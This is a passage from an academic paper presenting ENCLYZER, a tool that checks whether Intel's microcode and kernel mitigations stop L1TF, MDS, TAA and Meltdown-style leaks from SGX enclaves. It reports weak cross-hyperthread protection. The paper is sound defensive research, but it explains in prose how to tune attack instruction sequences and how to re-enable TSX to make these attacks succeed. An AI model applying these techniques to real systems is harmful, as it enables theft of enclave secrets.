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Abstract—Trusted Execution Environment (TEE) is the cornerstone of
confidential computing. Among other TEEs, Intel® Secure Guard Exten-
sions (Intel® SGX) is the most prominent solution that is frequently used
in the public cloud to provide confidential computing services. Intel® SGX
promotes runtime confidentiality and integrity of enclaves with minimal
modifications to existing CPU microarchitectures. However, Transient
Execution Attacks, such as L1 Terminal Fault (L1TF), Microarchitectural
Data Sampling (MDS), and Transactional Asynchronous Abort (TAA)
have exposed certain vulnerabilities within Intel® SGX solution. Over
the past few years, Intel has developed various countermeasures against
most of these vulnerabilities via microcode updates and hardware fixes.
However, arguably, there are no existing tools nor studies that can
measurably verify the effectiveness of these countermeasures. In this
paper, we introduce an automated analysis tool, called ENCLYZER,
to evaluate Transient Execution Vulnerabilities on Intel® SGX. We
leverage ENCLYZER to comprehensively analyze a set of processors,
with multiple versions of their microcode, to verify the correctness
of these countermeasures. Our empirical analysis suggests that most
countermeasures are effective in preventing attacks that are initiated
from the same CPU hyperthread, but less effective for cross-thread
attacks. Therefore, the application of the latest microcode patches and
disabling hyperthreading is warranted to enhance the security of Intel®
SGX-enabled systems. Security Configurations like hyperthreading dis-
abled/enabled are attestable on Intel® SGX platform to provide user with
increased confidence in making decision on system trustworthiness. Note
that the Security Configurations cannot be modified without a system
reboot.

I. INTRODUCTION

The Trusted Execution Environment (TEE), available on most
modern processors, is a hardware extension that enables the creation
of an isolated execution environment. It relies on extensions of the
hardware memory management units inside the processor and an
encryption engine between the processor and the memory bus, to
ensure that no unauthorized party is able to access the protected code
and data. An application running in such an environment trusts only
the hardware and itself, and considers all other software components
on the system potentially malicious, including privileged software.

Transient Execution Attacks [58], [32], [31] have recently emerged
as a significant security threat that has attracted the attention of
both academic and industry researchers. They attempt to trigger
transient execution that would be later architecturally rolled back to
create a window where the code transiently executed would break
the access privileges. And the stolen secret will be transmitted to
posted architectural states via covert channel. A number of attack
variants [42], [54], [55], [51], [48], [39], [44], [47] have been dis-
covered on modern processors. One of the impacted systems is Intel®
Secure Guard Extensions (Intel® SGX), Intel’s TEE implementation.
With Transient Execution Attacks, a risk exists that an adversary with
system privilege could breach the confidentiality of, among others,
SGX enclaves and exfiltrate sensitive information from the protected
memory regions [55], [50], [53].

Multiple mitigation solutions have been put in place in an effort to
mitigate the security risks [58], [32], [1]. For example, Intel® TSX
is disabled by default to prevent multiple attack variants relying on
it for fault suppression, and a new L1D cache flush instruction is
provided to stop L1TF Attack [20]. While Intel has done significant
work to reduce the attack surface of Transient Execution Attacks,
no specific tools have been published to validate the effectiveness
of these mitigations. This is especially important for TEEs, for
which Transient Execution Attacks conducted by a malicious system
software are a major security concern. It is not yet clear if the existing
countermeasures against Transient Execution Attacks, designed for
generic use cases, are sufficient in the TEE setting.

In this paper, we aim to design and develop an automated tool
to assist the exploration and understanding of Transient Execution
Vulnerabilities of commodity processors in the TEE context. There
are multiple challenges to achieving this goal. As reported by
many [29], [9] , Transient Execution Attacks are not guaranteed to
be reproducible on all given machines, even without any mitigation.
Failure to reproduce a vulnerability may be caused by many factors,
including improper attack implementation, incorrect system environ-
ment settings, or the absence of the vulnerability of the hardware
itself, etc. The lack of a sound theory of such microarchitecture-
related attacks motivates the design and implementation of power-
ful tools for scrutinizing the effectiveness of the countermeasures
deployed on various machines. In addition, a controlled execution
environment is required to rule out possible interference from the
execution environment that could affect the results. Since Transient
Execution Attacks mostly target microarchitectural components of
processors, the lack of visibility into and direct control of these
microarchitectural components increase the difficulty of building such
a tool.

This paper introduces a software tool framework, dubbed EN-
CLYZER, that targets (1) understanding the factors influencing Tran-
sient Execution Attacks and (2) validating state-of-the-art counter-
measures against Transient Execution Attacks in the context of Intel®
SGX. ENCLYZER focuses on Domain-Bypass Transient Execution
Attacks [42], [12], including Foreshadow [50], MDS [54], Cache-
out [55], and LVI [51]. ENCLYZER adopts a modular design to test
different variants and different execution environments. It leverages
unit testing and differential analysis to validate the correctness of
the implementation. ENCLYZER takes into consideration architecture,
microcode, OS-related configurations, and attack deployment models
to build a comprehensive test suite of Transient Execution Attacks
on Intel® SGX enclaves. By conducting tests in a fully-controlled
environment, ENCLYZER seeks to ensure the effectiveness of the
arguably strongest attack settings. Note that although the current
version of ENCLYZER focuses on Intel® SGX in the context of
known vulnerabilities, its modular design makes it extensible to other



TEE (e.g. ARM Trustzone) and to new attack variants that may be
discovered in the future. ENCLYZER is released as an open-source
project at https://github.com/bloaryth/enclyzer.

We perform extensive tests on Skylake, Kaby Lake and Coffee
Lake processors with microcode patches spanning the period from
before the disclosure of Transient Execution Attacks to the most
recent patch release available at publication time. ENCLYZER re-
vealed that some of the countermeasures deployed are ineffective
when configured incorrectly, due to the special threat model of TEEs.
First of all, some countermeasures can be directly turned off by a
privileged adversary. Second, the microcode-based countermeasures,
which cannot be turned off by the adversary, only take effect
during context switches between enclave and non-enclave mode, i.e.,
at enclave entry or exit. Therefore, when Intel® Hyper-Threading
Technology (Intel® HT Technology) is enabled in the BIOS settings,
attack code can run simultaneously on the same physical core as
that of the victim enclave, making such countermeasures unable
to be triggered in time to prevent the exploitation from the other
hyperthread from the same physical core.

This paper makes the following contributions:
• It presents ENCLYZER, an extensible software framework for

examining Transient Execution Vulnerabilities and their corre-
sponding countermeasures for Intel® SGX.

• It discovers concrete elements that influence the success rate of
different attack variants for execution environment controlling.

• It conducts comprehensive analysis on all relevant attack variants
and all practical attack deployment models.

• It identifies several misunderstandings in earlier academic papers
of certain variants and is able to optimize the attack instruction
sequences accordingly.

• It reveals several cases where improper configuration could make
countermeasures ineffective under TEE threat model.

The rest of the paper is organized as follows: Section II introduces
background and related works on Transient Execution Attacks and
Intel® SGX. Section III validates the correctness of ENCLYZER’s de-
sign and implementation. Section IV brings forward the architecture
of ENCLYZER. Section V presents the details of its implementation.
Section VI demonstrates the test results on five different processor
generations. Section VII analyzes the identified problems and dis-
cusses limitations of ENCLYZER. Section VIII concludes the paper.

II. BACKGROUND AND RELATED WORKS

A. Transient Execution Attacks

This paper mainly examines Domain-Bypass Transient Execution
Attacks, including Meltdown [42], [44], L1 Terminal Fault (L1TF)
[50], Microarchitectural Data Sampling (MDS) [54] and Transac-
tional Asynchronous Abort (TAA) [54], which can break through
architectural access control mechanisms. They should be discussed
in the context of Intel® SGX.

1) Meltdown: Meltdown exploits transiently executed instructions
to circumvent security checks. The attack exploits the race between
micro-architectural fault detection and data access. The L1 Data
(L1D) cache is frequently used as the covert channel to pass transient
data to posted architectural states. The original code to attack the OS
kernel can be directly used to attempt to exploit Intel® SGX enclaves,
which is the foundation of the L1TF [50] attacks.

2) L1 Terminal Fault (L1TF): L1TF, or Foreshadow Attack [50],
originally targets Intel® SGX. It aims at gaining unauthorized access
of secret in L1 data cache. The well-studied cause of L1TF is
the design of the hardware access control logic [50]. Normally,

unauthorized access to an enclave page from another enclave or non-
enclave entities should be blocked. However, when the page is not
present (P bit in its page table entries cleared) or when a reserved bit
of its page table entry is set, such checks for unauthorized accesses
are transiently overridden in the micro-architecture and the plain-text
secret could be exposed through a cache covert channel.

3) Microarchitectural Data Sampling (MDS): Unlike Meltdown
and L1TF, MDS [54] targets secrets stored in processor internal
buffers such as the load port [22], line fill buffer [22], or store
buffer [22]. Due to the limited sizes of these buffers and their accesses
not being indexed by physical addresses, MDS does not have free
control over its targets.

4) Transactional Asynchronous Abort (TAA): TAA is similar to
MDS in that it also targets processor internal buffers. However,
it is triggered by Intel® TSX transaction aborts rather than data
prediction. A clflush instruction before entering a critical section
(i.e. transaction) would possibly abort and rollback the transaction
because of asynchronous cache eviction. In the meantime, the attack
code snippet in the critical section is still transiently executed to load
data from processor internal buffers.

5) Cross-Domain Transient Execution Attacks: Cross-Domain
Transient Execution Attacks [40], [49], such as Bounds Check Bypass
(Spectre Variant 1) [2], Branch Target Injection (Spectre Variant
2) [3], and Speculative Store Bypass (Spectre Variant 4) [27], exploit
special code gadgets inside the victim code to extract secrets. The
conditions to trigger such code gadgets has been expanded since
the original attack. Initially, most Cross-Domain Transient Execution
Attacks relied on branch prediction to transiently reveal secrets.
Malicious pre-training of hardware branch predictors is needed before
mounting these attacks. Subsequent attacks resorted to delayed ex-
ception handling and microcode assists, such as LVI [51]. Recently,
machine clear conditions have been shown to have the ability to
initiate SCSB [46] and FPVI [46] attacks.

B. Intel® SGX

Intel® SGX [34] is one of the earliest commercial TEE available
on the market. It is also by far the most widely deployed and
extensively studied. Intel® SGX introduces a new threat model where
any software outside the protected software application is considered
untrusted or malicious, including the operating system kernel. The
protected application is called an enclave. The security of enclaves is
based on automatic memory encryption with a hardware encryption
engine inside the processor. Only accesses requested from inside of
the owner enclave can correctly load plaintext data.

Attestation is a crucial component for the security of Intel®
SGX. It verifies the integrity of enclave configurations. Among all
attestable parameters, Security Configurations [13] are of special
importance as they are closely related to reported security threats.
For example, hyperthreading enabled/disabled is included because of
L1TF Attacks [11].

Despite architectural security, Intel® SGX may still face mi-
croarchitectural attacks such as side-channel attacks [60]. Transient
Execution Attacks, widely adopting cache side-channel as the covert
channel to transmit secrets, may, likewise, be launched against Intel®
SGX [36] as discussed in Section II-A. Intel [23] has released
microcode patches with mitigations for all known Transient Execution
Attacks. However, academic research on the effectiveness of these
mitigations is not extensive. Since these attacks do not specifically
target Intel® SGX, most mitigations are designed primarily with
traditional non-TEE threat models in mind.



C. Related Work

There are two prior works closely related to ENCLYZER: Speech-
Miner [57] and Medusa [45]. SpeechMiner is a software framework
that systematically investigates the microarchitectural nature of both
Domain-Bypass and Cross-Domain Transient Execution Attacks.
Medusa is a software framework to search for Domain-Bypass
Transient Execution Attacks and features fuzzing-based techniques.
Compared to these two works, ENCLYZER is, to our best knowledge,
the first software framework that specializes in Intel® SGX with
special TEE threat model. It aims to validate mitigations in real-
world settings rather than looking for new vulnerabilities.

III. METHODOLOGY

ENCLYZER aims to validate the security property of Intel® SGX
with regard to Transient Execution Attacks. This section describes our
choice of techniques and how to empirically validate the correctness
of the implementation with unit testing and differential analysis.

A. Fault Suppression

Domain-Bypass Transient Execution Attacks rely heavily on tech-
niques of fault suppression or exception handling. ENCLYZER adopts
Intel® Transactional Synchronization Extensions (Intel® TSX) for
fault suppression of all implemented variants, as the suppression
technique creates the optimal attack window.

Linux exception handling via signal is a seemly feasible alternative,
but its effective attack window is not long enough for most attack
variants to succeed. It also introduces too much noise and is time-
consuming. There is also a risk to crash the whole system. Indirect
jump fallback via Return Stack Buffer (RSB), another potential
alternative, only make Meltdown Attack against OS succeed.

B. Covert Channels

A covert channel is important in making the microarchitectural test
results architecturally visible. As in many known Transient Execution
Attacks, ENCLYZER still adopts FLUSH+RELOAD [59] cache covert
channel. It is by far the most efficient and stable transmission channel.
Other covert channel alternatives may be valuable for real-world
attackers, but they are less relevant to ENCLYZER, which only pursues
effectiveness and accuracy to study the nature of the attacks in a
controlled environment.

C. Unit Testing

ENCLYZER picks Criterion [25] as the unit testing framework to
prove the correctness and robustness of each module. Compared to
debugging after the whole tool framework is written, unit testing takes
small tests to validate each function or module separately. It not only
enables efficient bug finding, but also contributes to the effectiveness
tests of the attack code snippet. Unit testing limits the involved
components of ENCLYZER to rule out potential issues in irrelevant
code if a code snippet is found not working. In the meanwhile, by
controlling the execution environment to be in favor of the attacker,
the problem can be narrowed down to the attack code sequence itself.
With this approach, we successfully reproduced all known Domain-
Bypass Transient Execution Attacks that have been reported to affect
Intel® SGX. Most of them require additional adjustments that are
untold or unnoticed in their original paper or open-source repository.
Details could be found in Section V-A.

D. Differential Analysis

Note that many Transient Execution Attacks do not have a high
success rate (e.g. 5%). Instead of simply measuring the success rate
of attacks, a better approach is to make use of differential analysis.
For example, when all experiment settings except the secret value
are fixed, we run the same attacking sequence experiment twice with
two different secret values: 0xaa and 0xbb. If the covert channel
transmits secret as 0xaa with 5% possibility and 0xbb with 0.5%
possibility for the first run, and 0xaa with 0.5% possibility and 0xbb
with 5% possibility for the second run, we will still be confident that
the attacking sequence code successfully exploits the secret.

In addition, differential analysis can provide evidence for identi-
fying factors that contribute to the success or failure of Transient
Execution Attacks. By altering only one such factor while fixing all
others, we know the influence of this specific factor on the attacks.

IV. ENCLYZER FRAMEWORK

Fig. 1 illustrates the architecture and workflow of ENCLYZER.
ENCLYZER is composed of four modules: System Setting Config-
uration, Internal Buffer Controller, Transient Attack Controller, and
Covert Channel Resolver. In each round of the test, the System
Settings Configuration module first sets up the test environment. It
selects the tested microcode version and turns on/off countermeasures
through OS kernel parameters and module-specific registers (MSRs).
Next, the Internal Buffer Controller module allocates memory pages
containing secrets, remaps the pages to the second set of the virtual
address, and then limits access to them by modifying the page table
bits of the original virtual address. It then selects the filling instruction
sequence to fill or flush CPU internal buffers with secrets or dummy
values. Afterwards, the Transient Attack Controller module selects
one of the tested attack instruction sequences. It sets core affinity
for the execution and execute of the instruction sequence to extract
the secret and transfer it via a covert channel. Finally, the Covert
Channel Resolver module recovers the encoded secrets from the
covert channel, if possible, and reports the analysis results.

A. System Settings Configuration

System Settings Configuration plays an important role in examining
the functionality of different mitigation techniques. A series of miti-
gations are introduced against different variants in microcode or OS
kernel. With the control over microcode version, kernel parameters,
and MSRs, ENCLYZER is able to flexibly test different combinations
of them. Another significant role of System Settings Configuration is
to ensure the correctness of the implementation of other modules. The
verification of Internal Buffer Controller, Transient Attack Controller,
and Transient Attack Controller relies on the success of exploitation
of certain Transient Execution Attacks. Therefore, it is necessary to
place them in the most exploitable environment, with no mitigation
or other auxiliary supports.

1) Microcode Rollback and Update: Microcode updates contain
security patches for known hardware vulnerabilities, including Tran-
sient Execution Attacks. Detailed patch information could be found at
Intel’s microcode code release Github repository [10]. However, it is
not straightforward for ENCLYZER to rollback and test old microcode
patches if the system is already running with a new one.

According to an Intel Deep Dive [23], the microcode of a machine
is decided by roughly four stages, in the ascending time order,
namely Firmware Interface Table (FIT) microcode update, BIOS
microcode update, OS microcode update, and runtime update. The
newest microcode found in the four stages will take effect. Therefore,
the following preliminaries are required for ENCLYZER. First, acquire



Fig. 1. Architecture and workflow ENCLYZER. Solid squares represent software modules. Dotted squares inside of each module stands for submodules.
Rounded Squares are the basic components of tests.

and install the oldest BIOS image on the tested machine from its
manufacturer. Second, download the oldest microcode available and
write it to the OS.

When these conditions are met, the machine could then be updated
to any newer microcode at runtime as long as root privilege is
acquired. Note that such microcode update is a one-way trip and
cannot be reverted back without a reboot.

2) Kernel Parameters Modification: Linux* kernel offers a number
of boot parameters to control OS kernel settings and processor
feature configurations. Some of the parameters are directly related to
Transient Execution Attacks and therefore play a critical role in the
execution environment configuration. Two regularly used parameters
in ENCLYZER are (1) Transient Execution Attack mitigations (e.g.
l1tf, mds, etc.) [8], [5], and (2) cpu core isolation (isolcpus) [19].

Mitigations of Linux* kernel could be fine-tuned to enable
only a subset of the whole list, including Spectre (nospectre v1,
nospectre v2 and spectre v2 user), L1TF (l1tf ), MDS (mds), TAA
(tsx async abort) and so forth. Alternatively, instead of individual
control, a meta switch (mitigations) is also available to turn on or
off all available mitigations. Should new mitigations be introduced
in the future, their control is expected to follow the same strategy.

CPU core isolation is known as an effective way of increasing the
stability of cache covert channels [60], [36]. Cache covert channels
are widely adopted in transient attacks to transfer secrets. Therefore,
CPU isolation plays an important role in the correctness of the tests
of ENCLYZER. After isolating a CPU core, the OS kernel scheduler
will not schedule any more tasks on it unless specified with core
affinity. This prevents cache pollution introduced by context switch
among tasks on the CPU core. On CPUs that enable hyperthreading,
some of the CPU resources are shared by both sibling cores. It is
necessary to isolate both sibling cores to avoid interference.

3) MSR Modification: Model Specific Registers (MSRs) are an-
other alternative to control CPU configurations other than Linux
kernel parameters. MSRs can toggle some of the hardware mitigations
or manipulate features such as hardware prefetchers [4], [6].

A number of hardware mitigations are introduced by updating
microcode and enabled by default. Their availability is exposed to
software via reading from MSRs and some of them can be en-
abled/disabled by writing to MSRs. They include mitigations against
Meltdown, Spectre, SSB, MDS, TAA, and so on [21]. For example,
a common way to suppress exceptions when implementing these
attacks is to wrap the attack code inside of an Intel® TSX transaction.
Starting from June 2021, Intel® TSX is disabled by default as an
indirect way to mitigate these attacks. However, Intel® TSX could be
re-enabled again through MSR IA32 TSX CTRL by root users. The
requirement of root privilege is unrealistic in the traditional threat
model where the user is malicious and the kernel is the victim, but
it is typical in the TEE threat model where the attacker is considered
privileged while the enclave is the victim.

Hardware prefetchers load data that are potentially useful in the
future into the cache to improve performance. However, it may
introduce unwanted noise for cache side channels. For example,
when reloading cache lines to infer a leaked secret, a large amount
of noise will be brought in as all the neighboring cache lines of
touched cache lines will be prefetched. Thus, it is better to simply
turn off all hardware prefetchers via MSRs to ensure the correctness
of experiments. On the other hand, a more complex method is to
delicately design a hash function when iterating through cache lines
to deactivate or invalidate hardware prefetchers. It requires no root
privilege and fits better in real-world attacks.

B. Internal Buffer Controller

Transient Execution Attacks are built on an assumption that the
secret can be kept unencrypted in the internal buffers of the processor
for a short while during execution, and thus can be exploited during
transient execution. The ability to control these internal buffers is a
prerequisite to simulating real-world attack settings. As the instruc-
tion set architecture (ISA) of commercial processor architectures (e.g.
Intel x86) does not offer instructions to directly operate on these
internal buffers, ENCLYZER implements a number of workarounds



taking advantage of the side effect of the normal execution of certain
instruction sequences.

The Internal Buffer Controller module has two major features.
The victim and attacker are granted different access permissions to
the same memory region via Page Allocation and Remapping and
Page Table Flags Modification. The combination of Filling Sequence
Selection and Buffer Filling and Flushing is the core of generating
desired states of processor internal buffers.

1) Page Allocation and Remapping: Allocating memory pages is
the first step in the process of preparing microarchitectural states.
Virtual pages mapped to the same physical page enable the possibility
of granting different access privileges to different simulated entities
in ENCLYZER. This module is in part built upon the page remapping
implementation of SGX-Step [52].

Page Allocation simply allocates memory pages via mmap()
syscall. We ensure that the memory allocated is aligned to 4KB pages.
Note that the processor’s internal buffers are typically organized in
multiple layers. For the sake of performance, each layer only uses
partial address bits to find the target entry. For example, the L1 cache
is physically tagged but virtually indexed. The cache set index is
determined by the bit 6 − 11 of a physical address, which is the
same as its virtual address. Some other buffers may predict using
only page offset (the lowest 12 bits, which is the same in virtual
and physical addresses). Therefore, allocating memory in the unit of
pages helps make experiment implementations easier. On the other
hand, since the first generation of Intel® SGX does not support page
allocation, all needed enclave memory is statically allocated during
the creation of the enclave. The GCC alignment attribute ensures
that the allocated pages are 4KB-aligned. ENCLYZER implements an
ECALL to help transfer the addresses of the allocated enclave pages
to the untrusted world.

Page Remapping generates a new virtual address for an allocated
page, along with a new set of page table entries. Such remapping
allows the access control of each virtual address to be irrelevant
to each other. They can be configured to fit the conditions that a
victim or an attacker may encounter. The remapping is achieved by
writing to the Linux virtual device /dev/mem. However, it requires
root privilege to enable and open the character device. Therefore,
this is only practical in testing scenarios or in the TEE threat model.

2) Page Table Flag Modification: To correctly reveal the facts
about Transient Execution Attacks, it is necessary to simulate an
execution environment that blocks access to secrets from attackers.
The modification of page table flags is a common technique for
access control. The structure of page table entries of Intel’s CPU
could be found in Software Developer Manual [18]. Linux kernel
documentation [7] also describes page table managing in detail.

As an example, the default page table structure in Linux kernel
5.11 is a 5-layer structure, including Page Global Directory (PGD),
Page Fourth Level Directory (P4D), Page Upper Directory (PUD),
Page Middle Directory (PMD), and Page Table Entry (PTE) [7].
To perform an address translation, the page table walk begins by
getting the starting address of PGD from CR3 and then resolving the
virtual to physical mapping of different levels of page tables from
the highest to the lowest. The translation process uses only the page
frame number (PFN) part of the address bits. Some of the remaining
bits are promoted as control bits, while the other bits are reserved
and should be kept zero. Page Table Flags in ENCLYZER refer to
these control bits and reserved bits in PTE.

The control bits include PRESENT bit, RW bit, USER bit, AC-
CESSED bit, and DIRTY bit [18]. The PRESENT bit indicates
whether the page resides in memory or is swapped out. RW bit

indicates whether the page is writable. USER bit indicates whether
the page is accessible from userspace. The ACCESSED bit indicates
the page has been accessed. The DIRTY bit indicates that the page
has been modified. Bits that are neither paging-related nor control-
related are called reserved bits, such as bit 51 of the PTE. When
the PRESENT bit is cleared, access to the page will raise a page
fault exception (#PF). The exception handler in the Linux kernel will
then load the swapped-out page into memory. A similar exception
throwing process will also happen when access control by the USER
bit or RW bit is violated.

3) Filling Sequence Selection: The Filling Sequence Selection
submodule is responsible for fine control of processor internal buffer
states. Although these buffers cannot be manipulated directly, their
states are changed as the side effects of executing certain memory-
operating instructions. However, how the instructions may affect the
buffer states is unclear. We chose to manually construct the filling
sequences for each known buffer primarily due to the difficulty in
drawing meaningful conclusions from randomly generated instruction
sequences. Filling Sequence Selection aims not only to detect Tran-
sient Execution Vulnerabilities, but also to explore how processor
internal buffers operate. Through empirical experiments, we revealed
that two factors play a key role: instruction type and operand value.

Memory operations can be classified as either read or write
operations. They can also be categorized as normal, non-temporal,
or string operations. Different types of operations may influence
different buffers. For example, when we change the type of memory
instructions while using the same operand, the effect of them is
clearly demonstrated by the success or failure of the L1TF attack.
It is reported that L1TF only succeeds when data resides in L1D
cache [50]. L1TF cannot fetch data from non-temporal stores but all
other types, indicating non-temporal stores bypass the L1D cache.

The operands of memory instructions can be any mapped memory
location or even invalid addresses. The address of the operands may
also affect buffer states. Similarly, by changing the operand values
while executing the same type of memory instructions, we were
able to observe the effect of different operands using offset control
techniques (See VI-B).

Note that we empirically observed that different specific operations
falling into the same type do not have distinct effects on processor
internal buffers. The implementation adopted by the vulnerability
analysis of ENCLYZER only chooses one candidate from each type
of memory instructions.

4) Buffer Filling and Flushing: After selecting the filling se-
quence, we apply them to pages for filling. Though the actual sizes
of internal buffers are unknown, we assume that a sufficiently large
number of pages will be able to fully fill targeted internal buffers.
From another viewpoint, minimum numbers of used pages (or only
minimum portions of a page) for successful Transient Execution
Attacks may be derived by reducing the number of pages. The
effect of flushing on internal buffers is not clear either, but they are
important to successfully trigger some Transient Execution Attacks.

Buffer filling follows a forward linear iteration over memory slots,
as we assume that randomly accessed memory slots will perform no
better than linearly accessed memory slots in filling internal buffers,
and the direction of linear iteration also does not have obvious effects.
Page flushing also adopts the same iteration policy, as we make
similar assumptions compared to page filling. Fence instructions are
added at the end of page filling and flushing to separate them from
affecting each other. When a fence instruction is added between two
memory operations, the effect of the latter one will not be globally
visible until the previous one is committed.



C. Transient Attack Controller

Transient Attack Controller is the core of ENCLYZER to generate
test cases. The microarchitecture implementation of Intel processors
keeps getting updated from generation to generation [18]. Though
how vulnerable a CPU is towards Transient Execution Attacks could
be found in Intel Deep Dive articles [1], the analysis is based on
the exploitation of real-world attacks, not the nature of the hardware
implementation itself. Therefore, one important job of ENCLYZER is
to re-examine the attack surface of each Transient Execution Attack.
This module is responsible for the selection of attacking sequences
and how they will be scheduled, through attacking sequence Selection
and Thread Controlling respectively

1) Attacking Sequence Selection: The attacking sequences are
critical for the correctness of tests. The Attacking Sequence Selec-
tion submodule implements the instruction sequences for all known
Domain-Bypass Transient Execution Attacks. They include L1TF,
MDS, and TAA. For each round of test, one of the sequences is
selected for execution to test the corresponding vulnerability. The
major challenge in reproducing the attacks is that most original
attack papers or open-source repositories omit or hide the details for
successful exploitation (see Section V-A). ENCLYZER verified that
on all test platforms, all of the variants can succeed in stealing the
secret from the intended leakage source.

2) Thread Controlling: ENCLYZER offers the ability to control
the affinity of threads to simulate real-world attack settings. By
scheduling an attack task on the sibling thread of the victim thread,
the malicious OS kernel can bring interference to the processor’s
internal buffers used by the victim thread.

Many state-of-the-art countermeasures against Transient Execution
Attacks aim at the scenario where an attack task and a victim task
are placed on the same logical core, and a context switch will happen
in between. Under such circumstances, processor internal buffers can
be naturally cleaned up during the context switches. However, in a
hyperthreading case, the boundary between two running threads is
not clear and there is no context switch that provides an opportunity
to mitigate. ENCLYZER considers all four types of scheduling cases:
attacking sequence and victim (filling) sequence in the same task, or
in the same thread but different tasks, or in the same physical core
but different threads, or in different physical cores.

D. Covert Channel Resolver

As transient data will be discarded by the CPU pipeline, they
need to be transmitted through a covert channel to be permanently
stored. A common and reliable method is cache covert channel, which
is well-studied [56], [43] and widely used in Transient Execution
Attacks [42], [49], [50], [54], [47]. ENCLYZER relies on cache
covert channel to examine the success rate of Transient Execution
Attacks. The module is composed of two submodules, Transient Data
Reproduction and Attack Validity Checker.

1) Transient Data Reproduction: When data are stored in the
cache, the time to access them is tremendously reduced compared
to when they are in the DRAM only. For example, the time to access
the L1D cache takes several CPU cycles, while the time to access
DRAM takes up to hundreds of CPU cycles. Therefore, by measuring
the time to access a virtual address, it could be easily inferred whether
the data stored at that virtual address is in the L1D cache or not. Such
property is used by ENCLYZER to encode and transmit transient data.

Each round of Transient Execution Attacks transmit one byte of
secret, whose value ranges from 0 to 255. A mapping between
the byte value and 256 indexed cache slots could be constructed.
The FLUSH+RELOAD technique [59] is adopted to perform the

transmission: First, all cache slots are flushed out at the beginning
of each round. Next, a byte of transient data is covered to access an
indexed cache slot. Finally, the byte of transient data is reproduced
by measuring the access latency of all cache slots. The isolation of
CPU cores and disability of hardware data prefetchers reduce possible
noise introduced when executing the second and third steps.

2) Attack Validity Checker: The purpose of Attack Validity
Checker is to examine the influence introduced by involved factors
in a controlled environment. After the transient data reproduction,
the retrieved data could be compared with the original secret data
to compute the success rate of an attack. This rate is affected by
several factors: system settings, filling sequence, attacking sequence,
and covert channel. ENCLYZER performs differential analysis by
controlling three of the factors and changing only one factor at a time
to understand its effect. For example, by changing only the scheduling
of the victim (filling) sequence and attacking sequence, we can study
whether the countermeasure against certain attack variant is effective
in different scheduling-related threat models.

In addition to the overall success rate of an attack, some other
aspects of the transmitted data could be checked. For example, we can
study whether every byte in a cache line slot is equally vulnerable by
iterating through each byte in the secret as the victim, or whether the
success rate remains stable over thousands of repeated trials. These
possibilities enrich the functionality of Attack Validity Checker, which
hence fulfills the purpose of understanding more about the nature of
Transient Execution Attacks.

V. IMPLEMENTATION

ENCLYZER is implemented with a portable design that can be
easily used on an arbitrary system with Intel® SGX to perform tests.
This section introduces the engineering designs of ENCLYZER and
instruction sequence construction details.

A. Construction of Instruction Sequences

1) Filling Sequences: The base version of filling sequences (List-
ing 1 in Appendix) is derived from Intel Deep Dive [26], which
is called ”Buffer Grooming” in the Medusa paper [45]. Lines 5
to 6 in Listing 1 obtain the bitwise logical OR of packed double-
precision floating-point values. Line 8 to 11 flush 12 cache lines
with optimized efficiency. Line 13 to 15 string stores the same value
zero repeatedly to 6144 bytes. From our initial analysis, orpd clears
2 load ports, clflushopt clears 12-entry line fill buffer, and rep stosb
fills in other internal buffers. Their effects as a whole can be observed
from attacking sequences.

Starting with Listing 1, we have made several changes to the base
version of filling sequences. First, we change the value that rep
stosb carries. For example, line 14 is replaced with passing value
1 to %eax via a movq instruction. It can be verified by attacking
sequences reading 1 instead of 0. Second, delete lines containing
orpd and clflushopt instruction. The filling effect still holds with no
obvious downgrading. Third, change stosb to other types of memory
instructions, such as movq for general loads and stores, movntdqa for
non-temporal loads, movnti for non-temporal stores, and lodsq for
string loads, and stosq for string stores. Each of them is responsible
for filling a certain type of internal buffers.

Listing 3 and Listing 4 in Appendix are two examples of filling
sequences after applying the above changes. %rdi is a pointer to the
start of the filling buffer. %rsi is one of the values that fill the line
fill buffer. %rdx is the size of the filling buffer, which is by default
6144. %rcx is a cache line mask with last eight bits all 1s and other
bits all 0s (0xff in hexadecimal). Listing 3 fills the same value (i.e.



all 40s) to all bytes of cacheline-sized line fill buffer entries. Listing
4 fills in each byte of cacheline-sized line fill buffer entries with a
constant value plus the byte index. For example, byte 0 contains 40,
byte 1 contains 41, byte 2 contains 42 and so forth.

2) Attacking Sequences: All Domain-Bypass Transient Execution
Attacks share a similar basic code structure. In order to verify the
correctness of attack sequences, experiments are performed on an
unpatched system. Take Listing 6 in Appendix for L1TF as an
example, lines 6 to 10 demonstrate such basic structure. %rdi is the
offset control parameter to the attacking address. %rsi is a pointer
to the attacking buffer that takes access control techniques to block
normal access from attackers. %rdx is a pointer to the encoding buffer
where the L1D cache covert channel is built upon. %rcx is the size
of a cache line (64 bytes), and will be processed into its bit width
(8). %r8 is a pointer to another virtual address of the same attacking
buffer that is pointed by %rdx with the blocking access control policy
removed. %r9 is reserved for future use and currently default to 0.
Line 6 and 10 are instructions to initiate and terminate a critical
section of the Intel® TSX transaction. Line 7 stores a targeted byte
into %rax transiently. Its fault is suppressed by Intel® TSX. Lines 8
to 9 access a cache line to pass the transient byte out.

Two other Domain-Bypass Transient Execution Attacks, namely
MDS and TAA, have different leading instructions before the basic
code structure. In Listing 7, leading instructions locate at line 6. In
Listing 8, leading instructions locate from line 6 to line 8. These
instructions are either clflush instruction or sfence instructions. In the
original attacking code posted by RIDL, line 6 of MDS is missing
and works only in the cross-thread setting. After adding such leading
instructions, MDS is able to work stably in the same thread setting.
We have tried different combinations of flush instruction and fence
instruction. The operands of flush instructions are either %rdx or
%r8. The types of fence instructions are lfence, sfence, and mfence.
The order of these instructions and whether they appear are also
considered. In the end, only minimal-sized leading instructions from
Listings 7 and 8 show effects as enabling successful MDS and TAA
attacks.

Domain-Bypass Transient Execution Attacks need fault suppres-
sion techniques to improve their success rate. In addition to Intel®
TSX, which is disabled by default from the microcode released
on 2021-06-08, indirect jump fallback is another way for fault
suppression. The initial code of indirect jump fallback comes from
the Github repository of RIDL [24] and is modified to also work with
Meltdown Attack (Listing 5). Its mechanism is clear: by abusing a
branch prediction unit (BPU) called Return Stack Buffer (RSB) that
stores the return address of call instructions in a hardware stack. It is
slow to get the actual return address from the stack in DRAM, thus
RSB helps overcome this situation by providing the return address
of the last call instruction. However, this return address is modified
at lines 14 to 27 and force the ret instruction to jump to another
address. Therefore, lines 7 to 11 are executed transiently with fault
suppressed. We have tried applying such a technique to all Domain-
Bypass Transient Execution Attacks, but it only works with Meltdown
and thus is not applicable for Intel® SGX. Our speculation is that
L1TF, MDS and TAA requires an attack window that can only be
created by certain internal mechanisms of Intel® TSX.

B. Improving Usability

ENCLYZER is implemented in C for the main body, with assembly
